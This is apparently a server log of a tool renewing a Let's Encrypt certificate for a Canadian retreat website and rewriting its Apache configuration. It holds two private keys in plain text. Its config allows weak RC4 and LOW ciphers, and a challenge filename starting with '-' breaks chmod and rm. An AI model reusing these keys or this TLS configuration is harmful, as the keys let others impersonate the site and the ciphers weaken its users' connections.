1Q1Uhrdt+3vi4CFffmFMcYKz1U5kGNsJBqYAQtWy10z5HeiXzSpUggpgiJuymUCR
V3xTKcuaYyru1FRtMv2u3Ym2gblVZGquBMzNNQOjc8PLaq7cCJ/kfLSK8VeTmIFh
b09SOHkwtwO4DANFl53Dr/RD6Zn7VFUUIeMlhZ2o8aiEDOqjKaXeF9kXYXh/3I/n
LchUQMKdry9aUg6qQVp8f1Mt7WMhx+X7TeGy65/Uj7coojI+RYv4BwhfU01Uy6CM
Hw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+cUtgx1mML8GD
sT27T1LYnARmpvpOYRq/ZDOZ1jGm4FW6K3IkHU7kzfm3w75Xh0wmHn5kSZXIFd6R
ifb7zGFPpx5r1t7M8jkhvSKiETwtDMEHTkgLW8IpSIaV79PO0hbGvQx84ImvX4mJ
yFDtJWVbDtnyNoGSOJWyPq35H7aYkyHp2uz1lRg9Fp73qWEZ/djTdZD3SZpLGFh2
R8WJWyNgZeN3Q9KEbpZDkVkf+9ioKddBISJ0V1aN5A+gx72tER9FPvxc+kv6tlO/
amYiXrDofmbtPxy8Ae9omZOz9R43V/Q/7cWVoKlI7PvOAUcqVwncwB2Wdrcw8blq
GAEStAZJAgMBAAECggEATSL0hhmYwrhhKGc0+tZxVv0ypyWBAxg/zj/WyrvAVrhM
4OBSFiCs4O4w9GbbhPZvOI1nYlWPzoBVKxv3pxusWqf1IXbhvZ9q1qiWC5Dxj8m3
sa7abYdYCIKwyLBgWUgtI4hVM4t7GUaYHe++H5/jAtPsIThEmSZEM/NBYkOfIQLb
MuQOC31/eKNuTTnkAAtt+a9IPsTwh+dHExiIJXqdCdQxchvq1ER/bF6pkSzCX21f
EgP9HN+QTL/gJjvDlp5XCsqVC9KtpE6Pl6Dm5fLuAAjrJE/6Z3La1dRZib+HvDTk
4yQDmEafqIoPxSrYF7MBSLDzXhh+DhymPoHkBP/yEQKBgQD5AqpFPqt7mtMfyItP
sUpVr18402G8OW7eFPxMY1wPL2TO2P2gujJPhFUEBK0hdCmrtq4Ay4F+79zFR8rw
lb9GIyel2Dfdf1EKt/Bx2Nv/XkGvQzUv7ZXJTIdpNOTsOpWvYF88ymowxFjF+bCX
YYhkTaNnWLR2do61Et61W8OfnQKBgQDDycX+PDdhplqJctX1JxbEpFSqHR/MvYAs
Sfq7OCiLB7nFKI5Xg/nLKRFvwS5fv+E1QhwJB7JjpSnRIZBz14GM+SV3zkdDeExH
g2WjjwQ4+w2xC9PpZdwVg+9gZU2wvbDP/05HZ5kIeOmTc3vGByKs0HKwBTod3mts
T6lfjam/nQKBgGv2wtqZDILgIw/RxM09wkwaaH/b7rFMeYxiru1z2xNeaifhHz6T
3IJrjuzaFjK+Cd9Aqnr/wVrHJwKGWTAszSzcyzD16Wro67to+yBxdRloxbP2wNXR
/jK0MrXj0Cm4UPQkJcbWwGn6h772vqE0EY3jt6h0ZnJCfyd1UghyDARlAoGAUOyF
OaAKBAKOSWF9reaKMpz5oZaIHkf1QlkRmXCM0WpQDn3E18dk5+QBoP9n+4uDuk+o
5tKXmTgbIKWO31Kj6XDRW8OXEPwYCzb0O7ZROHwMHLGW1VGUtg/iUSWOBw9glZgg
8sKPLkFLyfZhomgwnN1LihWe/9l+7TW//A7BqsECgYEAvvJs4Y5fGlK+e1QU5vin
57yHaoLivK5tX5eKU7cQ5xf8t9Wjex28NjaZof0fhEW0RCnZxx1mU3gqCF6n1QiL
I8zb1sEeKDJA2RRbj7CZRKe8KuXXyCRKSL6XjE6JWFZAi5kDA4BrX5y7P8TvCMed
18bpFmLc0JCfG5eHAu/wpK8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-01 06:00:40: Establishing a connection
2025-12-01 06:00:40: Establishing a connection
2025-12-01 06:00:40: 

PUT: /tmp/pkp427214

#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-01 06:00:40: 

chmod 755 /tmp/pkp427214; /tmp/pkp427214; rm /tmp/pkp427214

2025-12-01 06:00:40: 


1


2025-12-01 06:00:41: Establishing a connection
2025-12-01 06:00:41: 

PUT: /tmp/pkp743689

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cat > gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64
cat > xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w
cat > 5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco
cat > -qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4
cat > WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo
cat > kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE


2025-12-01 06:00:41: 

chmod 755 /tmp/pkp743689; /tmp/pkp743689; rm /tmp/pkp743689

2025-12-01 06:00:42: 


chmod: invalid option -- 'q'
Try 'chmod --help' for more information.




STDERR:
chmod: invalid option -- 'q'
Try 'chmod --help' for more information.


2025-12-01 06:01:33: Establishing a connection
2025-12-01 06:01:33: 

PUT: /tmp/pkp574629

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
rm gUq7R40qhdve3z2ehEXzL25lAR8YFP7D19S301xdJ64
rm xTNSc76ArR1dV2ktF_Tz-O1LDUpe6BY0gebT7WHFp2w
rm 5PrOEPT_jibKYegyd-1RbGxc49H3eyntQhoAEP3aeco
rm -qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4
rm WOTY-EhpuJS7EALvgHEzdB3-9eYmyw5UfNZlUffRGwo
rm kqm70rpSlbyw8FWOjbeEyBNJwbC7mH5e9B7068XIZBE


2025-12-01 06:01:33: 

chmod 755 /tmp/pkp574629; /tmp/pkp574629; rm /tmp/pkp574629

2025-12-01 06:01:33: 


rm: invalid option -- 'q'
Try 'rm ./-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4' to remove the file '-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4'.
Try 'rm --help' for more information.




STDERR:
rm: invalid option -- 'q'
Try 'rm ./-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4' to remove the file '-qjfMgRrNM51ZoycIl70FGykwpTwT6pptVxFpuNlQe4'.
Try 'rm --help' for more information.


2025-12-01 06:01:33: Establishing a connection
2025-12-01 06:01:33: 

PUT: /tmp/pkp450622

#!/bin/bash
temp_file=$(mktemp)
TARGET=b58195725e6aa43652c67a8009fa0881.crt

cat > $temp_file <<'endmsg'
96:98:61:00:9d:23:1b:84:4e:10:66:13:d7:f0:95:d1

-----BEGIN CERTIFICATE-----
MIIFdzCCBF+gAwIBAgISBplb+CNpsZSlF47y6TJtcYEPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMzAwWhcNMjYwMzAxMDUwMjU5WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDZVLGnrn9gFrCfs+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMF
QoNeXU0sjobdXDpW8APbmI/d2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz
9ie659OQE3Empk8WU5C7kmIWYBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9V
kJSVveguAAuCWczMPr9tmXe9ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoC
lXU6JybkHNtMpP+/dZb84aSy61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+
MglC83b+AO06SNLT1IOP6FZOg+P9MWk1AgMBAAGjggKWMIICkjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCXuJQVZGBZ3XOF+zZv1qyIqE8kWMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1x
MiXdIaklrGHFTiEAAAGa2IB9UgAABAMARjBEAiB82keg5dMcDdZfNizPAujOwwyd
QlbbcTYsfeoNE1u8BwIgGzhm0HltEEnEgJz7c+xCuE4QP26PZWN7az3buv3FcUEA
dgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZrYgIUkAAAEAwBH
MEUCIQDkjz/uNqzUJzJx2FFo9h8bCW7ZppoarpGbGeeYQcgXjQIgV6Mu+eAueQhf
/a86Wf0kExFmm2MrmzPRP1ooI6/TcPgwDQYJKoZIhvcNAQELBQADggEBADkFiR8W
pQ1miPsqZS9un73zzbYKITel5w/8q/pDg7URu3Rm7Nb3A9kUotlxnaqiIxki3KWD
wOQb7SOWdsVXDoVh0RY7TyYYO9P7e/+x/V7fqYvq3CSrh2WG2e0fHLa6Pz3hGVk3
SAg0YQcyP+O8LY9iCPDwgnseaosiLm0Jvhrz3uIRikTAWek7rUqDCS4h3RCL6D2b
630RHYHiKqX0YugvOuHMCrPqIq7rBtemiBphZKmytIfsDvuaq/tXrfD0++qY6NM9
lPqXrHlqTzDulNIDgg0sTyEQoLAFO+bkHzgeZczhwJSmDMN+tY6gWos8+PPPcMeZ
8LlGbG28XYgMwI8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZVLGnrn9gFrCf
s+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMFQoNeXU0sjobdXDpW8APbmI/d
2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz9ie659OQE3Empk8WU5C7kmIW
YBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9VkJSVveguAAuCWczMPr9tmXe9
ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoClXU6JybkHNtMpP+/dZb84aSy
61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+MglC83b+AO06SNLT1IOP6FZO
g+P9MWk1AgMBAAECggEAPFPWPMWjdfjWbn5zJe8oHB5lHtLNw9LKRNp3SFseG0v/
jUgOahmvfPZJoRglJAksRqYjS560c3CV/u7XK4qbKLiqZnECh/DLOpsOOuA52t7v
5Jh+UcYgcHAT9z4C7Ct5bVEdAwWPV4H62FsyuQ/h2Tzq1cf72uN18OHJmObhk3+A
voUSKMyXO+YSOoQzMwdErPQ861r+jUGCCpGg5qOv/g7MUl3mczx8L/X8SUBR/oro
P98b4uaQ9ATxc7wWXE8buXwXPcc+96NHgHkXsGK46g0q546wtGpQ/I+ylFMUBDQt
gikskJgZyCQXIvcPr5GK8AlL9KeXQUKwhfhYu8jawQKBgQD0OC2jvBy+HPdpDkiY
tBB02cm8NM4E13/sKinrPtmsOMYjeLAoyMt7kKvRoH/T32uvvoSbfn80IQcY5JDO
PdwhLzZrR3Y5S3NFn5ct+kAbK2qkkXhUdRCS8ZidOf9dbR0vw3fj/g9vOjT7hirK
9ESRMssYPUx4b/xttcCaO22+/wKBgQDj0HkdNB+G1De0ahkHjO06gtYshDDe8fY0
uJAmyZIlS5ry6tASOiSODzaXOScWlrrf13ZznL7qh9yjIry0noVJMSKxX+1mQ7/j
o2s9/olgEq13AaZObXBJthe9Tc6Mm2nZEAvBvAXFxD5bxD1Dss8f5BUWtG1OxX6v
D4TwUAoLywKBgQC6ghTI0KaawgBoqNHkXM+cjZ61LxaPOAynzWOKFsuh7RHUkRzn
aMGNsmSliQ9WPXA+HR+kqKx4oSiMaDH2b+OnLClBMKgnBWoZJ9IK+OzwUu30lGvz
BBwOPJeyq1JMhUIe8gajhak/5pID7OjNalLbGJFmB5pY+B0to/pdTzl2/QKBgBy/
W+kxgKD0+qqLkOkBAZaWmAw6Cii4A8eXWqlqWkTWi5EHzIXgTGiYxtzCW4pgLui8
ObhRGU5jIpZ7dbCdKFiaGLSlVEHJXteM8aV7Dz7OXJFd5eyTps3Gaqx6uwvHOM4p
VjJ2VYwlPXE7DDgUwkpV78tTrU95YIkavj3M+9eNAoGAedrCw7hzsZmZMtfhqjkU
My5cfLbu2ikDFUmFA8fhTUmR0ACuOdO2eaCjgNBoMDd9LNItKGjjcLiG/MVzzC1a
1BgTn+HSEqx0QPthk2AuUd6iN8rS/zIgir/zxWJaeXGHwPNk0dHiRALnK75RzBjO
bZBQljie+3VCnA6sAQuulEI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-01 06:01:33: 

chmod 755 /tmp/pkp450622; /tmp/pkp450622; rm /tmp/pkp450622

2025-12-01 06:01:34: 


dir=/etc/ssl/certs


2025-12-01 06:01:34: 

PUT: /tmp/pkp991972

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-01 06:01:34: 

chmod 755 /tmp/pkp991972; /tmp/pkp991972; rm /tmp/pkp991972

2025-12-01 06:01:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 49

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-01 06:01:34: 

PUT: /tmp/pkp717149

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=sosretreatscanada_www_com.conf
TARGET=/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf= 1'
fi


2025-12-01 06:01:34: 

chmod 755 /tmp/pkp717149; /tmp/pkp717149; rm /tmp/pkp717149

2025-12-01 06:01:34: 




2025-12-01 06:01:34: 

PUT: /tmp/pkp743436

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-01 06:01:34: 

chmod 755 /tmp/pkp743436; /tmp/pkp743436; rm /tmp/pkp743436

2025-12-01 06:01:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-01 06:01:34: Establishing a connection
2025-12-01 06:01:34: 

PUT: /tmp/pkp367560

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
